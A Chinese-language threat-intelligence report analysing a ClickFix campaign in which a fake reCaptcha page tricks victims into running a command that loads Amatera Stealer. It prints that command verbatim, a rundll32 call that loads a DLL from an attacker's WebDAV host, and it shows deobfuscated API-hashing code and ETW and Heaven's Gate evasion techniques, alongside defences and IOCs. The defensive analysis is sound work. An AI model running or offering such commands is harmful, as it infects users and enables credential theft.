虚假验证背后的真实危机:伪装reCaptcha的“ClickFix”战术与背后Amatera Stealer窃密活动

概述

  瑞星威胁情报平台近期捕获到一起利用ClickFix战术实施的钓鱼攻击活动。攻击者通过伪造验证页面并仿冒合法机构主题内容,诱导受害者在本机执行恶意命令:rundll32.exe \\r2-gate-entry.terralibre.in.net@80\verification.google,#1,随后从远程加载恶意模块并投放Amatera Stealer窃密木马。

  从当前样本与网络行为来看,该活动已形成一条较完整的攻击链:攻击者先以伪装的验证码交互界面制造“人工验证”假象,再借助用户手工执行命令绕过常规网页下载告警,最终完成远程模块加载、配置拉取与信息回传。本文重点分析其诱导方式、样本执行逻辑、对抗行为以及目前已确认的基础设施特征。

image

事件详情

  本次活动中,攻击者通过ClickFix诱导用户运行如下恶意命令:rundll32.exe \\r2-gate-entry.terralibre.in.net@80\verification.google,#1。其中,UNC路径中的@80形式表明攻击者疑似借助WebDAV将远程主机伪装成本地网络共享资源,再由rundll32.exe直接加载远程模块。与传统“下载后落地执行”的方式相比,这种手法减少了显式落盘步骤,具有更强的迷惑性。

image

  其加载的verification.google本质上是一个恶意DLL。该模块执行后会在内存中继续解密并释放后续载荷,最终运行Amatera Stealer,收集主机环境及敏感信息并回传至远端服务器。

攻击流程

image

样本分析

初始恶意 DLL

字段 内容
原始文件名 verification.google
文件大小 1.16 MB (1221120 bytes)
文件MD5 c2a0052c74e37562a8966fdd08aca0b7
文件类型 DLL
病毒名 Trojan.Loader!1.13CA0
主要功能 解密加载恶意载荷

该样本使用了OLLVM进行混淆,以增加静态分析难度。其首先通过自定义哈希算法动态解析并导入所需函数,以降低明文导入表暴露的分析价值。

// 这里的 a1 是 DLL 的基地址 (BaseAddress),a2 是目标函数的 Hash 值
void* __fastcall GetFunAddress_Deobfuscated(int baseAddr, unsigned int targetHash)
{
    // 1. 定位 PE 导出表
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddr;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(baseAddr + dosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(baseAddr + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    unsigned int* nameArray = (unsigned int*)(baseAddr + exportDir->AddressOfNames);
    unsigned short* ordinalArray = (unsigned short*)(baseAddr + exportDir->AddressOfNameOrdinals);
    unsigned int* functionArray = (unsigned int*)(baseAddr + exportDir->AddressOfFunctions);

    // 2. 遍历导出名称表进行 Hash 匹配
    for (unsigned int i = 0; i < exportDir->NumberOfNames; i++) {
        char* funcName = (char*)(baseAddr + nameArray[i]);

        // 计算 DJB2 变种哈希: hash = hash * 65599 + c
        unsigned int currentHash = 7466967; // 初始魔数
        for (char* p = funcName; *p != '\0'; p++) {
            currentHash = (*p | 0x20) + 65599 * currentHash; // | 0x20 表示忽略大小写
        }

        if (currentHash == targetHash) {
            // 找到匹配项,获取 RVA
            unsigned short ordinal = ordinalArray[i];
            unsigned int funcRVA = functionArray[ordinal];

            // 3. 处理导出转发 (Forwarder RVA)
            unsigned int exportStart = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
            unsigned int exportSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

            if (funcRVA >= exportStart && funcRVA < (exportStart + exportSize)) {
                // 如果地址落在导出表范围内,说明是转发字符串 (例如 "NTDLL.RtlAllocateHeap")
                char* forwarderString = (char*)(baseAddr + funcRVA);

                // 此处样本会解析字符串并递归调用或遍历 PEB Ldr 链表查找新 DLL
                // 逻辑:解析 '.' 之前的 DLL 名,解析 '.' 之后的函数名并计算 Hash 再次查找
                return ResolveForwarder(forwarderString); 
            }

            return (void*)(baseAddr + funcRVA);
        }
    }

    return NULL;
}

上述逻辑说明,样本在早期阶段已具备较强的导出解析与转发处理能力,为后续规避监测和手动加载模块提供了基础。

随后,攻击者通过RtlAddVectoredExceptionHandler注册异常处理函数,为后续异常驱动的执行流程做准备。

image

随后,样本使用SetThreadContextNtTraceEvent函数入口点设置硬件断点,尝试干扰ETW相关事件记录。该方法可用于规避部分基于ETW的检测与日志采集能力。

image

样本还通过系统提供的跨段指令切换执行环境,实现了类似Heaven's Gate的效果,以更隐蔽的方式发起后续系统调用。

image

在此基础上,样本进一步以较隐蔽的方式执行syscall,并将后续要利用的系统DLL手动加载进内存,以减少对标准加载路径的依赖。

image

随后,样本将shellcode写入此前手动加载模块的入口位置,并跳转执行该shellcode

image

shellcode阶段,恶意代码继续解密出后续的Amatera Stealer主体并将其加载运行。

image

后续执行的窃密木马

字段 内容
原始文件名 rundll32_2.bin
文件大小 324.00 KB (331776 bytes)
文件MD5 baa1c1feed5c04e4b1e2f2ff88017fbb
文件类型 EXE
病毒名 Trojan.Agent!1.13CA3
主要功能 获取配置、收集信息并回传数据

该样本首先尝试访问fc.denmap.cfd域名。根据当前流量,该域名会下发用于存放配置文件的URL:telegra.ph/Jonathan-03-12

image

随后,样本回连上述URL以获取配置文件。

image

配置文件中的C2地址经过Base64编码,解码后为78.153.150.32

image

随后,样本将收集到的信息回传至配置文件中指定的C2服务器。需要说明的是,截至2026-03-31,由于初始域名fc.denmap.cfd已失效,当前已无法稳定获取后续配置URL,因此对其后续行为链路的还原仍存在一定限制。针对该活动的后续基础设施变化,我们将持续保持跟踪。

总结

  本次捕获的Amatera Stealer相关活动体现出攻击者将社会工程学诱导与底层对抗技术结合使用的明显趋势。攻击链起始于伪装成验证码的人机验证界面,核心目的并非下载文件,而是诱导受害者在本机主动执行恶意命令,从而为后续远程模块加载创造条件。

  在技术实现上,初始样本通过OLLVM混淆、哈希导入、异常处理、硬件断点以及跨段执行等方式提升分析与检测难度;在基础设施使用上,攻击者又借助Telegraph等合法平台分发配置,以降低恶意流量的可见度。整体来看,该活动覆盖了“社工诱导、远程加载、配置获取、信息回传”多个阶段,具备较完整的攻击链闭环。

预防措施

  1. 警惕网页中的“复制并执行”式验证流程。

    对要求用户通过Win + R、命令行、PowerShell或脚本宿主手工执行内容的网页验证流程保持高度警惕。正常验证码不会要求用户复制并运行系统命令。

  2. 限制rundll32.exe加载远程路径中的模块。

    可结合WDACAppLocker、终端检测规则或进程行为基线,重点拦截rundll32.exe对UNC路径、WebDAV路径和异常导出入口的调用行为。

  3. 审查并收敛不必要的WebDAV与脚本执行能力。

    若业务场景无明确需求,可评估禁用或限制WebClient服务,并加强对mshta.exepowershell.exewscript.execmd.exe等高风险宿主的调用审计,防止类似社工命令链被直接利用。

  4. 加强对配置分发与异常外联的检测。

    telegra.ph等合法平台的非常规访问、短时间内出现的可疑域名解析、面向非常见IP的主机外联行为建立检测规则,有助于更早发现配置拉取与数据回传阶段的异常活动。

  5. 部署有效的终端安全产品并及时更新规则。

    具备行为检测与内存对抗监测能力的终端安全产品可辅助识别远程模块加载、可疑shellcode执行与窃密木马行为。瑞星ESM目前已经可以检出此次攻击事件的相关样本。

image

image

沦陷信标(IOC)

以下IOC为当前样本和流量中已确认的恶意基础设施或关联标识。由于部分链路已经失效,个别域名与URL的角色可能随着攻击者切换基础设施而变化,建议结合时间维度和上下文进行使用。

  • MD5

    c2a0052c74e37562a8966fdd08aca0b7
    baa1c1feed5c04e4b1e2f2ff88017fbb
  • URL

    telegra.ph/Jonathan-03-12
  • IPv4

    78.153.150.32
  • Domain

    fc.denmap.cfd
    r2-gate-entry.terralibre.in.net
    x9-space-v5.stratagrid.in.net
    area2outer.boundarygateway.in.net
    svc2steel.exuviaestreamnet.in.net
    ezjs.cl0udmere.in.net
  • 瑞星病毒名

    Trojan.Loader!1.13CA0
    Trojan.Agent!1.13CA3

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *